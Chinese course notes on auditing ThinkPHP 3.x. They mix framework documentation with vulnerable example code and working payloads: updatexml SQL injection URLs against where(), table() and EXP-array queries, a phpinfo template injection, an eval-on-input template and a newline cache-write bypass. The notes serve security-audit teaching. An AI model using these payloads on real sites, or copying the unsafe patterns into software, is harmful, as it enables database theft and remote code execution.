学习视频:Web网络安全进阶视频/ThinkPHP框架代码审计/黑客进阶/ThinkPHP
P1:环境配置和认知框架
MVC的概念
- M(Model)——模型:编写model类,负责数据的操作;
- V(View)——视图(模板):编写html文件,负责前台显示;
- C(Control)——控制器:编写类文件,IndexController.class.php。
三层架构(C#)
- BLL
- DAL
- MODEL
- UI
文件目录
初始文件目录
www WEB部署目录(或者子目录)
├─index.php 入口文件
├─README.md README文件
├─Application 应用目录
├─Public 资源文件目录
└─ThinkPHP 框架目录
框架目录ThinkPHP的结构如下
├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│ ├─Common 核心公共函数目录
│ ├─Conf 核心配置目录
│ ├─Lang 核心语言包目录
│ ├─Library 框架类库目录
│ │ ├─Think 核心Think类库包目录
│ │ ├─Behavior 行为类库目录
│ │ ├─Org Org类库包目录
│ │ ├─Vendor 第三方类库目录
│ │ ├─ ... 更多类库目录
│ ├─Mode 框架应用模式目录
│ ├─Tpl 系统模板目录
│ ├─LICENSE.txt 框架授权协议文件
│ ├─logo.png 框架LOGO文件
│ ├─README.txt 框架README文件
│ └─ThinkPHP.php 框架入口文件
\ThinkPHP\Library\Think\Model.class.php
数据库的联动操作方法,如where/order/setInc/setDec等。
public function query($sql,$parse=false) // SQL查询
public function execute($sql,$parse=false) // 执行SQL语句
public function table($table) // 指定当前的数据表
public function join($join,$type='INNER') // 查询SQL组装 join
public function union($union,$all=false) // 查询SQL组装union
public function where($where,$parse=null) // 指定查询条件,支持安全过滤
public function limit($offset,$length=null) // 指定查询数量
\ThinkPHP\Library\Thinkl\Db\Driver.class.php
数据条件分析,各种操作数据库。
protected function parseLimit($limit) // 拼接limit
protected function parseOrder($order) // 拼接order by
数据库创建
CREATE DATABASE thinkphp3;
USE thinkphp3;
CREATE TABLE thinkphp_user(
ID INT(8) PRIMARY KEY NOT NULL ,
USERNAME VARCHAR(255),
PASSWORD VARCHAR(255)
)
INSERT INTO thinkphp3.thinkphp_user VALUE (0, 'admin', '123456')
数据库连接
数据库配置在/ThinkPHP/Conf/convention.php
中:
复制到/Application/Common/Conf/config.ph
p中:
<?php
return array(
//'配置项'=>'配置值'
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'thinkphp3', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => 'thinkphp_', // 数据库表前缀
'DB_PARAMS' => array(), // 数据库连接参数
'DB_DEBUG' => TRUE, // 数据库调试模式 开启后可以记录SQL日志
'DB_FIELDS_CACHE' => true, // 启用字段缓存
'DB_CHARSET' => 'utf8', // 数据库编码默认采用utf8
'DB_DEPLOY_TYPE' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'DB_RW_SEPARATE' => false, // 数据库读写是否分离 主从式有效
'DB_MASTER_NUM' => 1, // 读写分离后 主服务器数量
'DB_SLAVE_NO' => '', // 指定从服务器序号
);
测试连接
\Application\Home\Controller\IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
}
public function test() {
$data = M('user')->where('id=0')->select();
dump($data);
}
}
访问/index.php/home/index/test
开启Debug模式
修改配置文件
URL模式
pathinfo模式
http://serverName/index.php/模块/控制器/操作/键名/键值
http://serverName/index.php/模块-控制器-操作-键名-键值
配置
'URL_MODEL' => 1, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
普通模式
http://serverName/index.php/?m=模块&c=控制器&a=操作名&键1=值&键2=值
配置
'URL_MODEL' => 0, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
REWRITE模式
配置
'URL_MODEL' => 2, // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE 模式); 3 (兼容模式) 默认为PATHINFO 模式
兼容模式
http://localhost/?s=/模块/控制器/操作/键名/键值
可以修改兼容变量名称
'VAR_PATHINFO' => 's'
可以修改参数分隔符
'URL_PATHINFO_DEPR' => '/'
P2 ThinkPHP控制器
控制器定义
ThinkPHP的控制器是一个类,而操作则是控制器类一个公共(public function)方法。
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function hello() {
echo 'hello world';
}
}
控制器操作
A方法
A("[模块/]控制器标志")
实例化控制器对象.。
跨控制器实例化后,再调用被实例化对象方法。
在Index控制器中调用User控制器调用链:
// indexController.class.php
public function getUserIndexA()
{
$User = A('User');
$User->index();
}
// UserController.class.php
class UserController extends Controller
{
public function index()
{
echo 'User Controller';
}
}
R方法
R("[模块/]控制器标志/操作方法")
实例化控制器变量同时调用指定对象。
直接调用对象方法。
// indexController.class.php
public function getUserIndexR() {
R('User/index');
}
// UserController.class.php
class UserController extends Controller
{
public function index()
{
echo 'User Controller';
}
}
Action 参数绑定
Action 将URL中的参数与操作方法中的参数进行绑定,该功能默认开启。
'URL_PARAMS_BIND' => true, // URL变量绑定到Action方法参数
源码:
public function getUser($id) {
echo $id;
}
请求路由:
http://127.0.0.1/thinkphp/index.php/home/index/getUser/id/admin
获取变量
支取PHP内所有原生语法。
$id = $_GET['id'];
$name = $_POST['name'];
$value = $_SESSION['var'];
$name = $_COOKIE['name'];
$file = $_SERVER['PHP_SELF'];
I方法是ThinkPHP用于更加方便和安全的获取系统输入变量,可以用于任何地方,用法格式如下:
I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
例如:
$id = i('id','1','intval');
请求类型
常量定义
IS_GET
IS_POST
IS_PUT
IS_DELETE
IS_AJAX
REQUEST_METHOD
插件控制器
插件控制器的变量由参数 VAR_ADDON
进行设置,默认为addon
,例如我们在URL中传入: http://serverName/Home/info/index/addon/SystemInfo
由于传入了addon参数,因此这里的Info控制器并非原来的
Home/Controller/InfoController.class.php
而是调用SystemInfo
插件(位于Home/Addon
目录下面)的InfoController
控制器了,文件位于 Home/Addon/SystemInfo/Controller/InfoController.class.php
。
插件控制器本身的定义和普通的访问控制器一样,例如:
namespace Home\Addon\SystemInfo\Controller;
class InfoController extends \Think\Controller{
public function index(){
echo 'Addon SystemInfo';
}
}
这样,我们在访问http://serverName/Home/info/index/addon/SystemInfo的时候 就会输出 Addon SystemInfo
如果我们的插件目录不是Addon,而是Plugin,那么需要在配置文件中定义:
'VAR_ADDON' => 'plugin'
然后访问URL地址就变成了 http://serverName/Home/info/index/plugin/SystemInfo
注意:目前插件控制器仅支持模块的插件控制器访问,尚不支持全局的公共插件。
3.2.3版本开始,插件控制器默认和模块同级,并增加ADDON_PATH
常量用于定义插件控制器的目录,并且以目录名作为插件控制器的命名空间根,同样,假如我们在URL中传入:
http://serverName/Home/info/index/addon/SystemInfo
3.2.3版本中,实际访问的插件控制器是
Addon/SystemInfo/Controller/InfoController.class.php
插件控制器的定义如下:
namespace Addon\SystemInfo\Controller;
class InfoController extends \Think\Controller{
public function index(){
echo 'Addon SystemInfo';
}
}
默认情况下,插件控制器的根目录位于和模块同级的Addon目录下面,如果需要更改插件控制器的目录,可以定义ADDON_PATH
常量,例如:
define('ADDON_PATH', APP_PATH.'Common/Addon');
并且在项目配置文件中使用AUTOLOAD_NAMESPACE
参数重新定义Addon
的命名空间路径,例如:
'AUTOLOAD_NAMESPACE'=>array(
'Addon'=> APP_PATH.'Common/Addon',
)
插件控制器调用链:
http://servername/index.php/Home/[插件控制器名]/[插件控制器调用方法]/addon/[查看控制器目录]
P3 SQL注入-Where
用字符串的方式将条件作为where查询语句的参数时容易产生SQL注入。
使用字符串查询时,需要配合预处理语句。
$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();
直接传入字符串使用
查询thinkphp_user表中的数据,传入参数id。
public function getUserIndex()
{
$data = M('User') -> where('id=' . i('id')) -> find();
var_dump($data);
}
路由:
http://127.0.0.1/thinkphp/index.php/home/index/getUserIndex/id/0
如果没有使用任何过滤函数或者正则表达式,这里存在注入点,闭合
http://127.0.0.1/thinkphp/index.php/home/index/getUserIndex/id/1)%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23
数组查询方式
$User = M("User"); // 实例化User对象
$map['id'] = i('id');
$map['user'] = i('user');
// 把查询条件传入查询方法
$User->where($map)->select();
生成语句:
SELECT * FROM thinkphp_user WHERE `id`=$id AND `user`=$user
上面的查询条件仅仅是一个简单的相等判断,可以使用查询表达式支持更多的SQL查询语法,查询表达式的使用格式:
$map['字段1'] = array('表达式','查询条件1');
$map['字段2'] = array('表达式','查询条件2');
$Model->where($map)->select(); // 也支持
表达式不分大小写,支持的查询表达式有下面几种,分别表示的含义是:
表达式 | 含义 |
---|---|
EQ | 等于(=) |
NEQ | 不等于(<>) |
GT | 大于(>) |
EGT | 大于等于(>=) |
LT | 小于(<) |
ELT | 小于等于(<=) |
LIKE | 模糊查询 |
[NOT] BETWEEN | (不在)区间查询 |
[NOT] IN | (不在)IN 查询 |
EXP | 表达式查询,支持SQL语法 |
P4 SQL注入-table
$map['tab'] = i('tab').M('User') -> table($map) -> where('1=1') -> find();
一般情况下,操作模型的时候系统能够自动识别当前的数据表。用到table方法的场景就是切换数据表查询或多表查询。
M() -> table(i('tab')) -> where('1=1') -> find();
当我们传入参数tab=thinkphp_user
时:
构造时只需要满足表名存在即可,加上其他条件进行注入。
tab=thinkphp_user where 1=1 and 1=(updatexml(1,concat(0x3a,(user())),1))%23
P5 SQL注入-field
$Model->field('id,title,content')->select();
field方法操作表中字段,限制返回的结果。
M('User') -> field(array('id','username')) -> select();
只要field中方法可控,不管是字段还是字符串都可以注入。
数组方式的定义可以为某些字段定义别名,例如:
$Model->field(array('id','nickname'=>'name'))->select();
别名中也存在注入
P6 SQL注入-alias|join|union
alias用来设置表的别名,与field类似。它一般和join方法成对出现,用于数据的连贯操作。
审计时要注意alias|join|union参数是否可控,如果可控则存在注入。
P7 SQL注入-order|group|having
这三个方法有共同的注入场景。
order方法
orderby:通常见于排序操作。
M('User') -> field(array('id', 'username')) -> where('1=1') -> order(array('id'=>i('orderby')))->limit(5)->select();
group方法
例如,我们都查询结果按照用户id进行分组统计:
$this->field('user_id,username,max(score)')->group('user_id')->select();
生成的SQL语句是:
SELECT user_id,username,max(score) FROM think_score GROUP BY user_id
也支持对多个字段进行分组,例如:
$this->field('user_id,test_time,username,max(score)')->group('user_id,test_time')->select();
生成的SQL语句是:
SELECT user_id,test_time,username,max(score) FROM think_score GROUP BY user_id,test_time
having方法
having方法只有一个参数,并且只能使用字符串,例如:
$this->field('username,max(score)')->group('user_id')->having('count(test_time)>3')->select();
生成的SQL语句是:
SELECT username,max(score) FROM think_score GROUP BY user_id HAVING count(test_time)>3
P8 comment 注入
COMMENT方法 用于在生成的SQL语句中添加注释内容,例如:
$this->comment('查询考试前十名分数')
->field('username,score')
->limit(10)
->order('score desc')
->select();
最终生成的SQL语句是:
SELECT username,score FROM think_score ORDER BY score desc LIMIT 10 /* 查询考试前十名分数 */
人为闭合。
P9 index索引注入
ndex方法用于数据集的强制索引操作,例如:
$Model->force('user')->select();
对查询强制使用user索引,user必须是数据表实际创建的索引名称。
P10 query|execute|聚合方法
query
query方法用于执行SQL查询操作,如果数据非法或者查询错误则返回false,否则返回查询结果数据集(同select方法)。
使用示例:
$Model = new \Think\Model() // 实例化一个model对象 没有对应任何数据表
$Model->query("select * from think_user where status=1");
可以在query方法中使用表名的简化写法,便于动态更改表前缀,例如:
$Model = new \Think\Model() // 实例化一个model对象 没有对应任何数据表
$Model->query("select * from __PREFIX__user where status=1");
// 3.2.2版本以上还可以直接使用
$Model->query("select * from __USER__ where status=1");
EXECUTE方法
execute用于更新和写入数据的sql操作,如果数据非法或者查询错误则返回false ,否则返回影响的记录数。
使用示例:
$Model = new \Think\Model() // 实例化一个model对象 没有对应任何数据表
$Model->execute("update think_user set name='thinkPHP' where status=1");
聚合方法
SQL语句中如何聚合方法可控,同样存在注入。
P11 EXP表达式注入-1
查询表达式
查询表达式的使用格式:
$map['字段名'] = array('表达式','查询条件');
表达式 | 含义 | 协助记忆 |
---|---|---|
EQ | 等于(=) | equal |
NEQ | 不等于(<>) | not equal |
GT | 大于(>) | greater |
EGT | 大于等于(>=) | equal or greater |
LT | 小于(<) | less than |
ELT | 小于等于(<=) | equal or less than |
LIKE | 模糊查询 | |
[NOT] BETWEEN | (不在)区间查询 | |
[NOT] IN | (不在)IN 查询 | |
EXP | 表达式查询,支持SQL语法 | expression |
EXP表达式查询
EXP 表达式查询,支持任何SQL语法。
支持更复杂的查询情况 例如:
$map['id'] = array('in','1,3,8');
可以改成:
$map['id'] = array('exp',' IN (1,3,8) ');
查询函数:
public function getUserIndex()
{
$map = array();
$map['id'] = I('id');
$data = M('User') -> where($map) -> find();
dump($data);
}
注入点:
http://127.0.0.1/index.php/home/index/getUserIndex?id[0]=exp&id[1]=1'
P12 EXP表达式注入-2
对于统计字段(通常指的是数字类型)的更新,系统还提供了setInc
和setDec
方法。
$User = M("User"); // 实例化User对象
$User->where('id=5')->setInc('score',3); // 用户的积分加3
$User->where('id=5')->setInc('score'); // 用户的积分加1
$User->where('id=5')->setDec('score',5); // 用户的积分减5
$User->where('id=5')->setDec('score'); // 用户的积分减1
查找该方法:
/**
* 字段值减少
* @access public
* @param string $field 字段名
* @param integer $step 减少值
* @param integer $lazyTime 延时时间(s)
* @return boolean
*/
public function setDec($field,$step=1,$lazyTime=0) {
if($lazyTime>0) {// 延迟写入
$condition = $this->options['where'];
$guid = md5($this->name.'_'.$field.'_'.serialize($condition));
$step = $this->lazyWrite($guid,-$step,$lazyTime);
if(empty($step)) {
return true; // 等待下次写入
}elseif($step > 0) {
$step = '-'.$step;
}
}
return $this->setField($field,array('exp',$field.'-'.$step));
}
参数直接拼接,而没有进行任何过滤,这里存在SQL注入漏洞点。
P13 参数传递注入
一般审计的时候先找I方法或者GET、POST等原生态请求。
或者寻找Action参数传递注入
正则表达式匹配:
public\s+function\s+[\w_*]+\(\s
P14 组合注入
组合查询的主体还是采用数组方式查询,只是加入了一些特殊的查询支持,包括字符串模式查询(_string
)、复合查询(_complex
)、请求字符串查询(_query
),混合查询中的特殊查询每次查询只能定义一个,由于采用数组的索引方式,索引相同的特殊查询会被覆盖。
字符串模式查询
数组条件可以和字符串条件(采用_string 作为查询条件)混合使用,例如:
$User = M("User"); // 实例化User对象
$map['id'] = array('neq',1);
$map['name'] = 'ok';
$map['_string'] = 'status=1 AND score>10';
$User->where($map)->select();
最后得到的查询条件就成了:
( `id` != 1 ) AND ( `name` = 'ok' ) AND ( status=1 AND score>10 )
请求字符串查询方式
请求字符串查询是一种类似于URL传参的方式,可以支持简单的条件相等判断。
$map['id'] = array('gt','100');
$map['_query'] = 'status=1&score=100&_logic=or';
得到的查询条件是:
`id`>100 AND (`status` = '1' OR `score` = '100')
复合查询
复合查询相当于封装了一个新的查询条件,然后并入原来的查询条件之中,所以可以完成比较复杂的查询条件组装。 例如:
$where['name'] = array('like', '%thinkphp%');
$where['title'] = array('like','%thinkphp%');
$where['_logic'] = 'or';
$map['_complex'] = $where;
$map['id'] = array('gt',1);
查询条件是
( id > 1) AND ( ( name like '%thinkphp%') OR ( title like '%thinkphp%') )
复合查询使用了_complex作为子查询条件来定义,配合之前的查询方式,可以非常灵活的制定更加复杂的查询条件。 很多查询方式可以相互转换,例如上面的查询条件可以改成:
$where['id'] = array('gt',1);
$where['_string'] = ' (name like "%thinkphp%") OR ( title like "%thinkphp") ';
最后生成的SQL语句是一致的。
P15 逻辑越权
越权分类
- 垂直越权
- 水平越权
漏洞点
UserModel.class.php
class UserModel extends Model {
protected $_auto = array (
array('password', 'md5', 3, 'function'),
array('score', '10'),
array('username', '', 3, 'ignore'),
);
}
UserController.class.php
class UserController extends Controller {
public function index() {
echo 'R - User Controller';
}
public function addUser() {
$User = D("User"); // 实例化User对象
if (!$User->create()) { //创建数组对象
// 如果创建失败,返回错误信息
exit($User->getError());
} else {
$User->add();
}
}
}
规则定义
自动完成通常用来完成默认字段写入,安全字段过滤以及业务逻辑的自动处理等,和自动验证的定义方式类似,自动完成的定义也支持静态定义和动态定义两种方式。
- 静态方式:在模型类里面通过$_auto属性定义处理规则。
- 动态方式:使用模型类的auto方法动态创建自动处理规则。
两种方式的定义规则都采用:
array(
array(完成字段1,完成规则,[完成条件,附加规则]),
array(完成字段2,完成规则,[完成条件,附加规则]),
......
);
说明
完成字段(必须)
需要进行处理的数据表实际字段名称。
完成规则(必须)
需要处理的规则,配合附加规则完成。
完成时间(可选)
设置自动完成的时间,包括:
设置 | 说明 |
---|---|
self::MODEL_INSERT或者1 | 新增数据的时候处理(默认) |
self::MODEL_UPDATE或者2 | 更新数据的时候处理 |
self::MODEL_BOTH或者3 | 所有情况都进行处理 |
附加规则(可选)
包括:
规则 | 说明 |
---|---|
function | 使用函数,表示填充的内容是一个函数名 |
callback | 回调方法 ,表示填充的内容是一个当前模型的方法 |
field | 用其它字段填充,表示填充的内容是一个其他字段的值 |
string | 字符串(默认方式) |
ignore | 为空则忽略(3.1.2新增) |
静态定义
预先在模型类里面定义好自动完成的规则,我们称之为静态定义。例如,我们在模型类定义_auto
属性:
namespace Home\Model;
use Think\Model;
class UserModel extends Model{
protected $_auto = array (
array('status','1'), // 新增的时候把status字段设置为1
array('password','md5',3,'function') , // 对password字段在新增和编辑的时候使md5函数处理
array('name','getName',3,'callback'), // 对name字段在新增和编辑的时候回调getName方法
array('update_time','time',2,'function'), // 对update_time字段在更新的时候写入当前时间戳
);
}
然后,就可以在使用create方法创建数据对象的时候自动处理:
$User = D("User"); // 实例化User对象
if (!$User->create()){ // 创建数据对象
// 如果创建失败 表示验证没有通过 输出错误提示信息
exit($User->getError());
}else{
// 验证通过 写入新增数据
$User->add();
}
如果你没有定义任何自动验证规则的话,则不需要判断create方法的返回值:
$User = D("User"); // 实例化User对象
$User->create(); // 生成数据对象
$User->add(); // 新增用户数据
或者更简单的使用:
$User = D("User"); // 实例化User对象
$User->create(); // 生成数据对象
$User->add(); // 写入数据
create方法默认情况下是根据表单提交的post数据生成数据对象,我们也可以根据其他的数据源来生成数据对象,你也可以明确指定当前创建的数据对象自动处理的时间是新增还是编辑数据,例如:
$User = D("User"); // 实例化User对象
$userData = getUserData(); // 通过方法获取用户数据
$User->create($userData,2); // 根据userData数据创建数据对象,并指定为更新数据
$User->add();
create方法的第二个参数就用于指定自动完成规则中的完成时间,也就是说create方法的自动处理规则只会处理符合完成时间的自动完成规则。 create方法在创建数据的时候,已经自动过滤了非数据表字段数据信息,因此不需要担心表单会提交其他的非法字段信息而导致数据对象写入出错,甚至还可以自动过滤不希望用户在表单提交的字段信息(详见字段合法性过滤)。
3.1.2版本开始新增了ignore完成规则,这一规则表示某个字段如果留空的话则忽略,通常可用于修改用户资料时候密码的输入,定义如下:
array('password','',2,'ignore')
表示password字段编辑的时候留空则忽略。
动态完成
除了静态定义之外,我们也可以采用动态完成的方式来解决不同的处理规则。
$rules = array (
array('status','1'), // 新增的时候把status字段设置为1
array('password','md5',3,'function') , // 对password字段在新增和编辑的时候使md5函数处理
array('update_time','time',2,'function'), // 对update_time字段在更新的时候写入当前时间戳
);
$User = M('User');
$User->auto($rules)->create();
$User->add();
修改数据对象
在使用create方法创建好数据对象之后,此时的数据对象保存在内存中,因此仍然可以操作数据对象,包括修改或者增加数据对象的值,例如:
$User = D("User"); // 实例化User对象
$User->create(); // 生成数据对象
$User->status = 2; // 修改数据对象的status属性
$User->register_time = NOW_TIME; // 增加register_time属性
$User->add(); // 新增用户数据
一旦调用了add方法(或者save方法),创建在内存中的数据对象就会失效,如果希望创建好的数据对象在后面的数据处理中再次调用,可以保存数据对象先,例如:
$User = D("User"); // 实例化User对象
$data = $User->create(); // 保存生成的数据对象
$User->add();
不过要记得,如果你修改了内存中的数据对象并不会自动更新保存的数据对象,因此下面的用法是错误的:
$User = D("User"); // 实例化User对象
$data = $User->create(); // 保存生成的数据对象
$User->status = 2; // 修改数据对象的status属性
$User->register_time = NOW_TIME; // 增加register_time属性
$User->add($data);
上面的代码我们修改了数据对象,但是仍然写入的是之前保存的数据对象,因此对数据对象的更改操作将会无效。
P16 模板漏洞
需要配置 TMPL_ENGINE_TYPE => ‘php’,默认是Think
// IndexController.class.php
class IndexController extends Controller {
public function index() {
$data = $_GET['id'];
$this->assign($data);
$this->display('user');
}
}
payload:
home/index/getUserindex?data[_content]=<?php phpinfo();?>
P17 PHP标签
<php></php>
支持PHP语法,也可以使用原生的<?php ?>,原生的php语法可能因为参数配置禁用而解析错误。
//Index.html
<php>echo 'Hello world!'</php>
//IndexController.class.php
class IndexController extends Controller {
public function index() {
$this->display();
}
}
执行漏洞
//Index.html
<php>eval(${data})</php>
//IndexController.class.php
class IndexController extends Controller {
public function index() {
$data = I('id');
$this->assign('data', $data);
$this->display();
}
}
P18 缓存漏洞
F方法:
快速缓存Data数据
F('data', 'phpinfo()');
生成文件位于Runtime\Data,且文件没有进行加密
S方法:
缓存数据,缓存的文件名默认是MD5加密处理
if(!S('data')) {
S('data', $_GET['d']);
echo '缓存成功';
}
文件缓存方式的安全机制
设置DATA_CACHE_KEY,避免缓存文件名被猜测到:
'DATA_CACHE_KEY' => 'think'
S方法绕过
利用%0a换行写入payload:
%0a;phpinfo%28%29;//
P19 Widget 扩展
Widget扩展一般用于页面组件的扩展。
举个例子,我们在页面中实现一个分类显示的Widget,首先我们要定义一个Widget控制器层CateWidget,如下:
namespace Home\Widget;
use Think\Controller;
class CateWidget extends Controller {
public function menu() {
echo 'menuwidget';
}
}
然后,我们在模板中通过W方法调用这个Widget。
{:W('Cate/Menu')}
输出menuwidget